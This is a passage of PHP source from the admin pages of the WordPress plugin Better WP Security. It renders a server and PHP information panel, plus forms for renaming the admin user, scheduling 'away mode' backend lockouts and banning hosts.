<li><?php _e( 'User Agent', 'better-wp-security' ); ?>: <strong><?php echo filter_var( $_SERVER['HTTP_USER_AGENT'], FILTER_SANITIZE_STRING ); ?></strong></li>
</ul>
</li>
<li>
<h4><?php _e( 'File System Information', 'better-wp-security' ); ?></h4>
<ul>
<li><?php _e( 'Website Root Folder', 'better-wp-security' ); ?>: <strong><?php echo get_site_url(); ?></strong></li>
<li><?php _e( 'Document Root Path', 'better-wp-security' ); ?>: <strong><?php echo filter_var( $_SERVER['DOCUMENT_ROOT'], FILTER_SANITIZE_STRING ); ?></strong></li>
<?php
$htaccess = ABSPATH . '.htaccess';
if ( $f = @fopen( $htaccess, 'a' ) ) {
@fclose( $f );
$copen = '<font color="red">';
$cclose = '</font>';
$htaw = __( 'Yes', 'better-wp-security' );
} else {
$copen = '';
$cclose = '';
$htaw = __( 'No.', 'better-wp-security' );
}
if ( $bwpsoptions['st_fileperm'] == 1 ) {
@chmod( $htaccess, 0444 ); //make sure the config file is no longer writable
}
?>
<li><?php _e( '.htaccess File is Writable', 'better-wp-security' ); ?>: <strong><?php echo $copen . $htaw . $cclose; ?></strong></li>
<?php
$conffile = $this->getConfig();
if ( $f = @fopen( $conffile, 'a' ) ) {
@fclose( $f );
$copen = '<font color="red">';
$cclose = '</font>';
$wconf = __( 'Yes', 'better-wp-security' );
} else {
$copen = '';
$cclose = '';
$wconf = __( 'No.', 'better-wp-security' );
}
if ( $bwpsoptions['st_fileperm'] == 1 ) {
@chmod( $conffile, 0444 ); //make sure the config file is no longer writable
}
?>
<li><?php _e( 'wp-config.php File is Writable', 'better-wp-security' ); ?>: <strong><?php echo $copen . $wconf . $cclose; ?></strong></li>
</ul>
</li>
<li>
<h4><?php _e( 'Database Information', 'better-wp-security' ); ?></h4>
<ul>
<li><?php _e( 'MySQL Database Version', 'better-wp-security' ); ?>: <?php $sqlversion = $wpdb->get_var( "SELECT VERSION() AS version" ); ?><strong><?php echo $sqlversion; ?></strong></li>
<li><?php _e( 'MySQL Client Version', 'better-wp-security' ); ?>: <strong><?php echo mysql_get_client_info(); ?></strong></li>
<li><?php _e( 'Database Host', 'better-wp-security' ); ?>: <strong><?php echo DB_HOST; ?></strong></li>
<li><?php _e( 'Database Name', 'better-wp-security' ); ?>: <strong><?php echo DB_NAME; ?></strong></li>
<li><?php _e( 'Database User', 'better-wp-security' ); ?>: <strong><?php echo DB_USER; ?></strong></li>
<?php $mysqlinfo = $wpdb->get_results( "SHOW VARIABLES LIKE 'sql_mode'" );
if ( is_array( $mysqlinfo ) ) $sql_mode = $mysqlinfo[0]->Value;
if ( empty( $sql_mode ) ) $sql_mode = __( 'Not Set', 'better-wp-security' );
else $sql_mode = __( 'Off', 'better-wp-security' );
?>
<li><?php _e( 'SQL Mode', 'better-wp-security' ); ?>: <strong><?php echo $sql_mode; ?></strong></li>
</ul>
</li>
<li>
<h4><?php _e( 'Server Information', 'better-wp-security' ); ?></h4>
<?php $server_addr = array_key_exists('SERVER_ADDR',$_SERVER) ? $_SERVER['SERVER_ADDR'] : $_SERVER['LOCAL_ADDR']; ?>
<ul>
<li><?php _e( 'Server / Website IP Address', 'better-wp-security' ); ?>: <strong><a target="_blank" title="<?php _e( 'Get more information on this address', 'better-wp-security' ); ?>" href="http://whois.domaintools.com/<?php echo $server_addr; ?>"><?php echo $server_addr; ?></a></strong></li>
<li><?php _e( 'Server Type', 'better-wp-security' ); ?>: <strong><?php echo filter_var( filter_var( $_SERVER['SERVER_SOFTWARE'], FILTER_SANITIZE_STRING ), FILTER_SANITIZE_STRING ); ?></strong></li>
<li><?php _e( 'Operating System', 'better-wp-security' ); ?>: <strong><?php echo PHP_OS; ?></strong></li>
<li><?php _e( 'Browser Compression Supported', 'better-wp-security' ); ?>: <strong><?php echo filter_var( $_SERVER['HTTP_ACCEPT_ENCODING'], FILTER_SANITIZE_STRING ); ?></strong></li>
</ul>
</li>
<li>
<h4><?php _e( 'PHP Information', 'better-wp-security' ); ?></h4>
<ul>
<li><?php _e( 'PHP Version', 'better-wp-security' ); ?>: <strong><?php echo PHP_VERSION; ?></strong></li>
<li><?php _e( 'PHP Memory Usage', 'better-wp-security' ); ?>: <strong><?php echo round(memory_get_usage() / 1024 / 1024, 2) . __( ' MB', 'better-wp-security' ); ?></strong> </li>
<?php
if ( ini_get( 'memory_limit' ) ) {
$memory_limit = filter_var( ini_get( 'memory_limit' ), FILTER_SANITIZE_STRING );
} else {
$memory_limit = __( 'N/A', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Memory Limit', 'better-wp-security' ); ?>: <strong><?php echo $memory_limit; ?></strong></li>
<?php
if ( ini_get( 'upload_max_filesize' ) ) {
$upload_max = filter_var( ini_get( 'upload_max_filesize' ), FILTER_SANITIZE_STRING );
} else {
$upload_max = __( 'N/A', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Max Upload Size', 'better-wp-security' ); ?>: <strong><?php echo $upload_max; ?></strong></li>
<?php
if ( ini_get( 'post_max_size' ) ) {
$post_max = filter_var( ini_get( 'post_max_size' ), FILTER_SANITIZE_STRING );
} else {
$post_max = __( 'N/A', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Max Post Size', 'better-wp-security' ); ?>: <strong><?php echo $post_max; ?></strong></li>
<?php
if ( ini_get( 'safe_mode' ) ) {
$safe_mode = __( 'On', 'better-wp-security' );
} else {
$safe_mode = __( 'Off', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Safe Mode', 'better-wp-security' ); ?>: <strong><?php echo $safe_mode; ?></strong></li>
<?php
if ( ini_get( 'allow_url_fopen' ) ) {
$allow_url_fopen = __( 'On', 'better-wp-security' );
} else {
$allow_url_fopen = __( 'Off', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Allow URL fopen', 'better-wp-security' ); ?>: <strong><?php echo $allow_url_fopen; ?></strong></li>
<?php
if ( ini_get( 'allow_url_include' ) ) {
$allow_url_include = __( 'On', 'better-wp-security' );
} else {
$allow_url_include = __( 'Off', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Allow URL Include' ); ?>: <strong><?php echo $allow_url_include; ?></strong></li>
<?php
if ( ini_get( 'display_errors' ) ) {
$display_errors = __( 'On', 'better-wp-security' );
} else {
$display_errors = __( 'Off', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Display Errors', 'better-wp-security' ); ?>: <strong><?php echo $display_errors; ?></strong></li>
<?php
if ( ini_get( 'display_startup_errors' ) ) {
$display_startup_errors = __( 'On', 'better-wp-security' );
} else {
$display_startup_errors = __( 'Off', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Display Startup Errors', 'better-wp-security' ); ?>: <strong><?php echo $display_startup_errors; ?></strong></li>
<?php
if ( ini_get( 'expose_php' ) ) {
$expose_php = __( 'On', 'better-wp-security' );
} else {
$expose_php = __( 'Off', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Expose PHP', 'better-wp-security' ); ?>: <strong><?php echo $expose_php; ?></strong></li>
<?php
if ( ini_get( 'register_globals' ) ) {
$register_globals = __( 'On', 'better-wp-security' );
} else {
$register_globals = __( 'Off', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Register Globals', 'better-wp-security' ); ?>: <strong><?php echo $register_globals; ?></strong></li>
<?php
if ( ini_get( 'max_execution_time' ) ) {
$max_execute = ini_get( 'max_execution_time' );
} else {
$max_execute = __( 'N/A', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Max Script Execution Time' ); ?>: <strong><?php echo $max_execute; ?> <?php _e( 'Seconds' ); ?></strong></li>
<?php
if ( ini_get( 'magic_quotes_gpc' ) ) {
$magic_quotes_gpc = __( 'On', 'better-wp-security' );
} else {
$magic_quotes_gpc = __( 'Off', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Magic Quotes GPC', 'better-wp-security' ); ?>: <strong><?php echo $magic_quotes_gpc; ?></strong></li>
<?php
if ( ini_get( 'open_basedir' ) ) {
$open_basedir = __( 'On', 'better-wp-security' );
} else {
$open_basedir = __( 'Off', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP open_basedir', 'better-wp-security' ); ?>: <strong><?php echo $open_basedir; ?></strong></li>
<?php
if ( is_callable( 'xml_parser_create' ) ) {
$xml = __( 'Yes', 'better-wp-security' );
} else {
$xml = __( 'No', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP XML Support', 'better-wp-security' ); ?>: <strong><?php echo $xml; ?></strong></li>
<?php
if ( is_callable( 'iptcparse' ) ) {
$iptc = __( 'Yes', 'better-wp-security' );
} else {
$iptc = __( 'No', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP IPTC Support', 'better-wp-security' ); ?>: <strong><?php echo $iptc; ?></strong></li>
<?php
if ( is_callable( 'exif_read_data' ) ) {
$exif = __( 'Yes', $this->hook ). " ( V" . substr(phpversion( 'exif' ),0,4) . ")" ;
} else {
$exif = __( 'No', 'better-wp-security' );
}
?>
<li><?php _e( 'PHP Exif Support', 'better-wp-security' ); ?>: <strong><?php echo $exif; ?></strong></li>
</ul>
</li>
<li>
<h4><?php _e( 'WordPress Configuration', 'better-wp-security' ); ?></h4>
<ul>
<?php
if ( is_multisite() ) {
$multSite = __( 'Multisite is enabled', 'better-wp-security' );
} else {
$multSite = __( 'Multisite is NOT enabled', 'better-wp-security' );
}
?>
<li><?php _e( ' Multisite', 'better-wp-security' );?>: <strong><?php echo $multSite; ?></strong></li>
<?php
if ( get_option( 'permalink_structure' ) != '' ) {
$copen = '';
$cclose = '';
$permalink_structure = __( 'Enabled', 'better-wp-security' );
} else {
$copen = '<font color="red">';
$cclose = '</font>';
$permalink_structure = __( 'WARNING! Permalinks are NOT Enabled. Permalinks MUST be enabled for Better WP Security to function correctly', 'better-wp-security' );
}
?>
<li><?php _e( 'WP Permalink Structure', 'better-wp-security' ); ?>: <strong> <?php echo $copen . $permalink_structure . $cclose; ?></strong></li>
<li><?php _e( 'Wp-config Location', 'better-wp-security' );?>: <strong><?php echo $this->getConfig(); ?></strong></li>
</ul>
</li>
<li>
<h4><?php _e( 'Better WP Security variables', 'better-wp-security' ); ?></h4>
<ul>
<?php
if ( $bwpsoptions['hb_key'] == '' ) {
$hbkey = __( 'Not Yet Available. Enable Hide Backend mode to generate key.', 'better-wp-security' );
} else {
$hbkey = $bwpsoptions['hb_key'];
}
?>
<li><?php _e( 'Hide Backend Key', 'better-wp-security' );?>: <strong><?php echo $hbkey; ?></strong></li>
<li><?php _e( 'Better WP Build Version', 'better-wp-security' );?>: <strong><?php echo $bwpsdata['version']; ?></strong><br />
<em><?php _e( 'Note: this is NOT the same as the version number on the plugins page and is instead used for support.', 'better-wp-security' ); ?></em></li>
</ul>
</li>
</ul>
<?php
}
/**
* Intro content for change admin user page
*
**/
function adminuser_content_1() {
?>
<p><?php _e( 'By default WordPress initially creates a username with the username of "admin." This is insecure as this user has full rights to your WordPress system and a potential hacker already knows that it is there. All an attacker would need to do at that point is guess the password. Changing this username will force a potential attacker to have to guess both your username and your password which makes some attacks significantly more difficult.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Note that this function will only work if you chose a username other than "admin" when installing WordPress.', 'better-wp-security' ); ?></p>
<?php
}
/**
* Options form for change andmin user page
*
**/
function adminuser_content_2() {
if ( $this->user_exists( 'admin' ) ) { //only show form if user 'admin' exists
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="adminuser_1" />
<table class="form-table">
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "newuser"><?php _e( 'Enter Username', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<?php //username field ?>
<input id="newuser" name="newuser" type="text" />
<p><?php _e( 'Enter a new username to replace "admin." Please note that if you are logged in as admin you will have to log in again.', 'better-wp-security' ); ?></p>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Chage Admin Username', 'better-wp-security' ); ?>" /></p>
</form>
<?php
} else { //if their is no admin user display a note
?>
<p><?php _e( 'Congratulations! You do not have a user named "admin" in your WordPress installation. No further action is available on this page.', 'better-wp-security' ); ?></p>
<?php
}
}
/**
* Options form for change andmin user id
*
**/
function adminuser_content_3() {
if ( $this->user_exists( '1' ) ) { //only show form if user 'admin' exists
?>
<p><?php _e( 'If your admin user has and ID of "1" it is vulnerable to some attacks. You should change the ID of your admin user.', 'better-wp-security' ); ?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="adminuser_2" />
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Change User 1 ID', 'better-wp-security' ); ?>" /></p>
</form>
<?php
} else { //if their is no admin user display a note
?>
<p><?php _e( 'Congratulations! You do not have a user with ID 1 in your WordPress installation. No further action is available on this page.', 'better-wp-security' ); ?></p>
<?php
}
}
/**
* Intro content for away mode page
*
**/
function awaymode_content_1() {
?>
<p><?php _e( 'As many of us update our sites on a general schedule it is not always necessary to permit site access all of the time. The options below will disable the backend of the site for the specified period. This could also be useful to disable site access based on a schedule for classroom or other reasons.', 'better-wp-security' ); ?></p>
<?php
if ( preg_match( "/^(G|H)(:| \\h)/", get_option( 'time_format' ) ) ) {
$currdate = date_i18n( 'l, d F Y' . ' ' . get_option( 'time_format' ) , current_time( 'timestamp' ) );
} else {
$currdate = date( 'l, F jS, Y \a\\t g:i a', current_time( 'timestamp' ) );
}
?>
<p><?php _e( 'Please note that according to your', 'better-wp-security' ); ?> <a href="options-general.php"><?php _e( 'WordPress timezone settings', 'better-wp-security' ); ?></a> <?php _e( 'your local time is', 'better-wp-security' ); ?> <strong><em><?php echo $currdate ?></em></strong>. <?php _e( 'If this is incorrect please correct it on the', 'better-wp-security' ); ?> <a href="options-general.php"><?php _e( 'WordPress general settings page', 'better-wp-security' ); ?></a> <?php _e( 'by setting the appropriate time zone. Failure to do so may result in unintended lockouts.', 'better-wp-security' ); ?></p>
<?php
}
/**
* Options form for away mode page
*
**/
function awaymode_content_2() {
global $bwpsoptions;
?>
<form method="post" action="">
<?php
echo '<script language="javascript">';
echo 'function amenable() {';
echo 'alert( "' . __( 'Are you sure you want to enable away mode? Please check the local time (located at the top of this page) and verify the times set are correct to avoid locking yourself out of this site.', $this->hook ) . '" );';
echo '}';
echo '</script>';
?>
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="awaymode_1" />
<?php
//get saved options
$cDate = strtotime( date( 'n/j/y 12:00 \a\m', current_time( 'timestamp' ) ) );
$sTime = $bwpsoptions['am_starttime'];
$eTime = $bwpsoptions['am_endtime'];
$sDate = $bwpsoptions['am_startdate'];
$eDate = $bwpsoptions['am_enddate'];
$shdisplay = date( 'g', $sTime );
$shdisplay24 = date( 'G', $sTime ); // 24Hours
$sidisplay = date( 'i', $sTime );
$ssdisplay = date( 'a', $sTime );
$ehdisplay = date( 'g', $eTime );
$ehdisplay24 = date( 'G', $eTime ); // 24Hours
$eidisplay = date( 'i', $eTime );
$esdisplay = date( 'a', $eTime );
if ( $bwpsoptions['am_enabled'] == 1 && $eDate > $cDate ) {
$smdisplay = date( 'n', $sDate );
$sddisplay = date( 'j', $sDate );
$sydisplay = date( 'Y', $sDate );
$emdisplay = date( 'n', $eDate );
$eddisplay = date( 'j', $eDate );
$eydisplay = date( 'Y', $eDate );
} else {
$sDate = current_time( 'timestamp' ) + 86400;
$eDate = current_time( 'timestamp' ) + ( 86400 * 2 );
$smdisplay = date( 'n', $sDate );
$sddisplay = date( 'j', $sDate );
$sydisplay = date( 'Y', $sDate );
$emdisplay = date( 'n', $eDate );
$eddisplay = date( 'j', $eDate );
$eydisplay = date( 'Y', $eDate );
}
?>
<table class="form-table">
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "am_enabled"><?php _e( 'Enable Away Mode', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input onChange="amenable()" id="am_enabled" name="am_enabled" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['am_enabled'] ); ?> />
<p><?php _e( 'Check this box to enable away mode.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for="am_type"><?php _e( 'Type of Restriction', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<label><input name="am_type" id="am_type" value="1" <?php checked( '1', $bwpsoptions['am_type'] ); ?> type="radio" /> <?php _e( 'Daily', 'better-wp-security' ); ?></label>
<label><input name="am_type" value="0" <?php checked( '0', $bwpsoptions['am_type'] ); ?> type="radio" /> <?php _e( 'One Time', 'better-wp-security' ); ?></label>
<p><?php _e( 'Selecting <em>"One Time"</em> will lock out the backend of your site from the start date and time to the end date and time. Selecting <em>"Daily"</em> will ignore the start and and dates and will disable your site backend from the start time to the end time.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for="am_startdate"><?php _e( 'Start Date', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<?php if ( preg_match( "/^(G|H)(:| \\h)/", get_option( 'time_format' ) ) ) { ?>
<select name="am_startday">
<?php
for ( $i = 1; $i <= 31; $i++ ) { //determine default
if ( $sddisplay == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
echo '<option value="' . $i . '"' . $selected . '>' . date( 'j', strtotime( '1/' . $i . '/' . date( 'Y', current_time( 'timestamp' ) ) ) ) . '</option>';
}
?>
</select>
<?php } ?>
<select name="am_startmonth" id="am_startdate">
<?php
for ( $i = 1; $i <= 12; $i++ ) { //determine default
if ( $smdisplay == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
echo '<option value="' . $i . '"' . $selected . '>' . date_i18n( 'F', strtotime( $i . '/1/' . date( 'Y', current_time( 'timestamp' ) ) ) ) . '</option>';
}
?>
</select>
<?php if ( ! preg_match( "/^(G|H)(:| \\h)/", get_option( 'time_format' ) ) ) { ?>
<select name="am_startday">
<?php
for ( $i = 1; $i <= 31; $i++ ) { //determine default
if ( $sddisplay == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
echo '<option value="' . $i . '"' . $selected . '>' . date_i18n( 'j', strtotime( '1/' . $i . '/' . date( 'Y', current_time( 'timestamp' ) ) ) ) . '</option>';
}
?>
</select>,
<?php
} else {
echo ' ';
}
?>
<select name="am_startyear">
<?php
for ( $i = date( 'Y', current_time( 'timestamp' ) ); $i < ( date( 'Y', current_time( 'timestamp' ) ) + 2 ); $i++ ) { //determine default
if ( $sydisplay == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
echo '<option value="' . $i . '"' . $selected . '>' . $i . '</option>';
}
?>
</select>
<p><?php _e( 'Select the date at which access to the backend of this site will be disabled. Note that if <em>"Daily"</em> mode is selected this field will be ignored and access will be banned every day at the specified time.', 'better-wp-security' ); ?>
</p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for="am_enddate"><?php _e( 'End Date', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<?php if ( preg_match( "/^(G|H)(:| \\h)/", get_option( 'time_format' ) ) ) { ?>
<select name="am_endday">
<?php
for ( $i = 1; $i <= 31; $i++ ) { //determine default
if ( $eddisplay == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
echo '<option value="' . $i . '"' . $selected . '>' . date( 'j', strtotime( '1/' . $i . '/' . date( 'Y', current_time( 'timestamp' ) ) ) ) . '</option>';
}
?>
</select>
<?php } ?>
<select name="am_endmonth" id="am_enddate">
<?php
for ( $i = 1; $i <= 12; $i++ ) { //determine default
if ( $emdisplay == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
echo '<option value="' . $i . '"' . $selected . '>' . date_i18n( 'F', strtotime( $i . '/1/' . date( 'Y', current_time( 'timestamp' ) ) ) ) . '</option>';
}
?>
</select>
<?php if ( ! preg_match( "/^(G|H)(:| \\h)/", get_option( 'time_format' ) ) ) { ?>
<select name="am_endday">
<?php
for ( $i = 1; $i <= 31; $i++ ) { //determine default
if ( $eddisplay == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
echo '<option value="' . $i . '"' . $selected . '>' . date( 'j', strtotime( '1/' . $i . '/' . date( 'Y', current_time( 'timestamp' ) ) ) ) . '</option>';
}
?>
</select>,
<?php } ?>
<select name="am_endyear">
<?php
for ( $i = date( 'Y', current_time( 'timestamp' ) ); $i < ( date( 'Y', current_time( 'timestamp' ) ) + 2 ); $i++ ) { //determine default
if ( $eydisplay == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
echo '<option value="' . $i . '"' . $selected . '>' . $i . '</option>';
}
?>
</select>
<p><?php _e( 'Select the date at which access to the backend of this site will be re-enabled. Note that if <em>"Daily"</em> mode is selected this field will be ignored and access will be banned every day at the specified time.', 'better-wp-security' ); ?>
</p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for="am_starttime"><?php _e( 'Start Time', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<select name="am_starthour" id="am_starttime">
<?php
if ( preg_match( "/^(G|H)(:| \\h)/", get_option( 'time_format' ) ) ) {
for ( $i = 0; $i <= 23; $i++ ) { //determine default
if ( $shdisplay24 == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
if ( $i < 10 ) {
$val = "0" . $i;
} else {
$val = $i;
}
echo '<option value="' . $val . '"' . $selected . '>' . $val . '</option>';
}
} else {
for ( $i = 1; $i <= 12; $i++ ) { //determine default
if ( $shdisplay == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
echo '<option value="' . $i . '"' . $selected . '>' . $i . '</option>';
}
}
?>
</select> :
<select name="am_startmin">
<?php
for ( $i = 0; $i < 60; $i++ ) { //determine default
if ( $sidisplay == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
if ( $i < 10 ) {
$val = "0" . $i;
} else {
$val = $i;
}
echo '<option value="' . $val . '"' . $selected . '>' . $val . '</option>';
}
?>
</select>
<?php if ( ! preg_match( "/^(G|H)(:| \\h)/", get_option( 'time_format' ) ) ) { ?>
<select name="am_starthalf">
<option value="am"<?php if ( $ssdisplay == 'am' ) echo ' selected'; ?>>am</option>
<option value="pm"<?php if ( $ssdisplay == 'pm' ) echo ' selected'; ?>>pm</option>
</select>
<?php } ?>
<p><?php _e( 'Select the time at which access to the backend of this site will be disabled. Note that if <em>"Daily"</em> mode is selected access will be banned every day at the specified time.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for="am_endtime"><?php _e( 'End Time', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<select name="am_endhour" id="am_endtime">
<?php
if ( preg_match("/^(G|H)(:| \\h)/", get_option('time_format') ) ) {
for ( $i = 0; $i <= 24; $i++ ) {//determine default
if ( $ehdisplay24 == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
echo '<option value="' . $i . '"' . $selected . '>' . $i . '</option>';
}
} else {
for ( $i = 1; $i <= 12; $i++ ) {//determine default
if ( $ehdisplay == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
echo '<option value="' . $i . '"' . $selected . '>' . $i . '</option>';
}
}
?>
</select> :
<select name="am_endmin">
<?php
for ( $i = 0; $i < 60; $i++ ) { //determine default
if ( $eidisplay == $i ) {
$selected = ' selected';
} else {
$selected = '';
}
if ( $i < 10 ) {
$val = "0" . $i;
} else {
$val = $i;
}
echo '<option value="' . $val . '"' . $selected . '>' . $val . '</option>';
}
?>
</select>
<?php if ( ! preg_match( "/^(G|H)(:| \\h)/", get_option( 'time_format' ) ) ) { ?>
<select name="am_endhalf">
<option value="am"<?php if ( $esdisplay == 'am' ) echo ' selected'; ?>>am</option>
<option value="pm"<?php if ( $esdisplay == 'pm' ) echo ' selected'; ?>>pm</option>
</select>
<?php }?>
<p><?php _e( 'Select the time at which access to the backend of this site will be re-enabled. Note that if <em>"Daily"</em> mode is selected access will be banned every day at the specified time.', 'better-wp-security' ); ?></p>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Save Changes', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Selection summary block for away mode page
*
**/
function awaymode_content_3() {
global $bwpsoptions;
//format times for display
if ( $bwpsoptions['am_type'] == 1 ) {
$freq = ' <strong><em>' . __( 'every day' ) . '</em></strong>';
//$stime = '<strong><em>' . date( 'g:i a', $bwpsoptions['am_starttime'] ) . '</em></strong>';
//$etime = '<strong><em>' . date( 'g:i a', $bwpsoptions['am_endtime'] ) . '</em></strong>';
$stime = '<strong><em>' . date_i18n( get_option('time_format', 'g:i a'), $bwpsoptions['am_starttime'] ) . '</em></strong>';
$etime = '<strong><em>' . date_i18n( get_option('time_format', 'g:i a'), $bwpsoptions['am_endtime'] ) . '</em></strong>';
} else {
$freq = '';
//$stime = '<strong><em>' . date( 'l, F jS, Y', $bwpsoptions['am_startdate'] ) . __( ' at ', $this->hook ) . date( 'g:i a', $bwpsoptions['am_starttime'] ) . '</em></strong>';
//$etime = '<strong><em>' . date( 'l, F jS, Y', $bwpsoptions['am_enddate'] ) . __( ' at ', $this->hook ) . date( 'g:i a', $bwpsoptions['am_endtime'] ) . '</em></strong>';
if ( ! preg_match( "/^(G|H)(:| \\h)/", get_option( 'time_format' ) ) ) {
// 12Hours Format
$stime = '<strong><em>' . date( 'l, F jS, Y', $bwpsoptions['am_startdate'] ) . __( ' at ', $this->hook ) . date( 'g:i a', $bwpsoptions['am_starttime'] ) . '</em></strong>';
$etime = '<strong><em>' . date( 'l, F jS, Y', $bwpsoptions['am_enddate'] ) . __( ' at ', $this->hook ) . date( 'g:i a', $bwpsoptions['am_endtime'] ) . '</em></strong>';
} else {
// 24Hours Format
$stime = '<strong><em>' . date_i18n( 'l, d F Y', $bwpsoptions['am_startdate'] ) . __( ' at ', $this->hook ) . date_i18n( get_option( 'time_format', 'g:i a' ) , $bwpsoptions['am_starttime'] ) . '</em></strong>';
$etime = '<strong><em>' . date_i18n( 'l, d F Y', $bwpsoptions['am_enddate'] ) . __( ' at ', $this->hook ) . date_i18n( get_option( 'time_format', 'g:i a' ) , $bwpsoptions['am_endtime'] ). '</em></strong>';
}
}
if ( $bwpsoptions['am_enabled'] == 1 ) {
?>
<p style="font-size: 150%; text-align: center;"><?php _e( 'The backend (administrative section) of this site will be unavailable', 'better-wp-security' ); ?><?php echo $freq; ?> <?php _e( 'from', 'better-wp-security' ); ?> <?php echo $stime; ?> <?php _e( 'until', 'better-wp-security' ); ?> <?php echo $etime; ?>.</p>
<?php } else { ?>
<p><?php _e( 'Away mode is currently diabled', 'better-wp-security' ); ?></p>
<?php
}
}
/**
* Intro block for ban hosts page
*
**/
function banusers_content_1() {
?>
<p><?php _e( 'This feature allows you to ban hosts and user agents from your site completely using individual or groups of IP addresses as well as user agents without having to manage any configuration of your server. Any IP or user agent found in the lists below will not be allowed any access to your site.', 'better-wp-security' ); ?></p>
<?php
}
/**
* Spot backup form for database backup page
*
**/
function banusers_content_2() {
global $bwpsoptions;
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="banusers_2" />
<p><?php _e( 'As a getting-started point you can include the excellent blacklist developed by <NAME> of <a href="http://hackrepair.com/blog/how-to-block-bots-from-seeing-your-website-bad-bots-and-drive-by-hacks-explained" target="_blank">HackRepair.com</a>.', 'better-wp-security' ); ?></p>
<table class="form-table">
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "bu_blacklist"><?php _e( 'Enable Default Banned List', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="bu_blacklist" name="bu_blacklist" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['bu_blacklist'] ); ?> />
<p><?php _e( "Check this box to enable HackRepair.com's blacklist feature.", 'better-wp-security' ); ?></p>
</td>
</tr>
</table>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Add Host and Agent Blacklist', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Options form for ban hosts page
*
**/
function banusers_content_3() {
global $bwpsoptions;
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="banusers_1" />
<table class="form-table">
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "bu_enabled"><?php _e( 'Enable Banned Users', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<input id="bu_enabled" name="bu_enabled" type="checkbox" value="1" <?php checked( '1', $bwpsoptions['bu_enabled'] ); ?> />
<p><?php _e( 'Check this box to enable the banned users feature.', 'better-wp-security' ); ?></p>
</td>
</tr>
<tr valign="top">
<th scope="row" class="settinglabel">
<label for "bu_banlist"><?php _e( 'Ban Hosts', 'better-wp-security' ); ?></label>
</th>
<td class="settingfield">
<textarea id="bu_banlist" rows="10" cols="50" name="bu_banlist"><?php echo isset( $_POST['bu_banlist'] ) && BWPS_GOOD_LIST !== true ? filter_var( $_POST['bu_banlist'], FILTER_SANITIZE_STRING ) : $bwpsoptions['bu_banlist']; ?></textarea>
<p><?php _e( 'Use the guidelines below to enter hosts that will not be allowed access to your site. Note you cannot ban yourself.', 'better-wp-security' ); ?></p>
<ul><em>
<li><?php _e( 'You may ban users by individual IP address or IP address range.', 'better-wp-security' ); ?></li>
<li><?php _e( 'Individual IP addesses must be in IPV4 standard format (i.e. ###.###.###.###). Wildcards (*) are allowed to specify a range of ip addresses.', 'better-wp-security' ); ?></li>
<li><?php _e( 'If using a wildcard (*) you must start with the right-most number in the ip field. For example ###.###.###.* and ###.###.*.* are permitted but ###.###.*.### is not.', 'better-wp-security' ); ?></li>
